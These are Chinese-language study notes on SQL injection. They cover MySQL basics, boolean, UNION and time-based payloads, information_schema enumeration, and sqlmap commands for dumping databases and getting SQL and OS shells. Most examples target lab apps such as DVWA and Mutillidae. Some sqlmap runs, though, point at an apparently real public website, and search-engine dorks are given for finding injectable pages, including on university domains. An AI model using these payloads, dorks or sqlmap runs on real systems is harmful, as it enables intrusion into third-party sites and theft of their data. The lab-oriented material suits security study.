SQL注入攻击是指通过构建特殊的输入作为参数输入web应用程序,而这些输入大多是一些SQL组合语法,通过执行SQL语句执行攻击者要的操作,住哟啊原因是程序没有细致过滤用户输入信息,使得非法数据入侵。
SQL语句是写在后端的无法随便修改的,而我们在输入的位置做出特殊构造来达到想要的效果。
SQL语句分为两类:DDL(数据定义语言),DML(数据操作语言)
DDL:
create database(创建数据库),alter database(修改数据库)
create table(创建表),alter table(修改表),drop table(删除表)
create index(创建索引),drop index(删除索引)
as (别名,作为,会出现省略情况)
DML:
select (查询),insert(插入),update(修改),delete(删除)
mysql -uroot -p'owaspbwa'
show databases;
use +数据库名字;
show tables;
desc +表名;
DEC #大写可补全
show create table users\G
# \G 使得表看起来舒服一些
selcet * from users; # * 是全部数据的意思
8 查看内容并别名显示
select user,password avatar from users;
# 字段之间按理来说要逗号隔开,没有的话就是省略as的别名
select * from x where xx=xxx and /or ...;
#xxx为字段不用加引号,xxx为字段的值用加引号,数字不能作为字段不需加引号
# or是布尔查询
通过条件可以设置sql注入,类似与再添加一定成立的条件,使得生成想要的数据
select user,password,avatar from users where user='haoye' or 1=1;
10. 联合查询union(union前后字段个数需要一致)
首先,猜字段个数
select * from users union select 1,2,3...;
use wordpress;
show tables;
select * from wordpress.wp_users;
select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
select * from dvwa.users where 1=2 union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
14. information_schema(mysql中的所有数据库,数据表的源,字典)
use information_schema;
show tables;
select * from information_schema.TABLES limit 1\G
#information_schema也属于一个库(总库)
# limit 限制取表中的一行数据
select distinct TABLE_SCHEMA from information_schema.TABLES;
# distinct起到去重的效果
#等同于show databases,同理,表也可以这样
16 查找库下的表信息
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA="yazd";
17. 查询数据库,数据表,字段名-> information_schema.columns
select * from information_schema.columns\G
select column_name from information_schema.columns where table_schema="dvwa" and table_name="users";
select first_name,last_name from dvwa.users wehre user_id=' ';
我们布尔注入就是再id=’ '内改变
select first_name,last_name from dvwa.users wehre user_id='' or 1=1 --';
#第一个’是为了和前面id=’连在一起使得后面形成布尔为真的条件,--‘表示后面的一切被注释消掉,而;再执行时系统自动补上,第二个’可以换为任意的符号
'union select 1,2...-- '
#--后面有时要加空格有时不用加
concat()函数用于合并字段,与select1,2补全相反
select password,concat(first_name,last_name,user) from users -- '
2 ' and sleep(5) --'
基于kali linux 的sqlmap
sqlmap -hh #-hh高级帮助
试找注入点
sqlmap -u "http://alphaonenow.org/info.php?id=131"
自动化探测是否有注入点
google高级搜索:
inurl: .php?id=
inurl: .jsp?id=
inurl: .asp?id=
inurl: /admin/login.php
inurl: .php?id= intitle:美女
baidu高级搜索:
inurl: news.asp?id= site:edu.cn
inurl: news.php?id= site:edu.cn
inurl: news.aspx?id= site:edu.cn
sqlmap -u "http://alphaonenow.org/info.php?id=131" --batch
#--batch表示自动化,无需询问
sqlmap -u "http://192.168.133.129/mutillidae/index.php?page=user-info.php&username=haoye&password=123456&user-info-php-submit-button=View+Account+Details" --batch -p username
#-p username 指定username为注入点,就只检测username是否有注入点了
sqlmap参数检测
sqlmap -u "http://192.168.133.129/mutillidae/index.php?page=user-info.php&username=haoye&password=123456&user-info-php-submit-button=View+Account+Details" --batch -p username --dbs
#-u 目标网址
#--batch 自动化
#--dbs数据库
#--users 获取所有用户
#--current-db 当前数据库
#--current-user 当前用户
#-D 库名 --tables 指定库下面的表信息
#-T 表名 --columns 指定表下面的列信息(前面要有指定的库)
#-C 列名 指定列名下的数据
#--dump 把想要的down下来(在想要的库或表的后面添加的语句)
限于mysql的注入查找
sqlmap -u "http://192.168.133.129/mutillidae/index.php?page=user-info.php&username=haoye&password=123456&user-info-php-submit-button=View+Account+Details" --batch --dbms=mysql
#--dbms=mysql dbms数据库管理系统
sqlmap注入需要账户密码登录,而我们就用cookie的信息
sqlmap -u "http://192.168.133.129/dvwa/vulnerabilities/sqli/?id=444&Submit=Submit#" --batch
在这里我们利用cookie
精确查询,调用字典
获得sql shell进入交互模式,和操作系统权限
--sql-shell #类似sql命令
--os-shell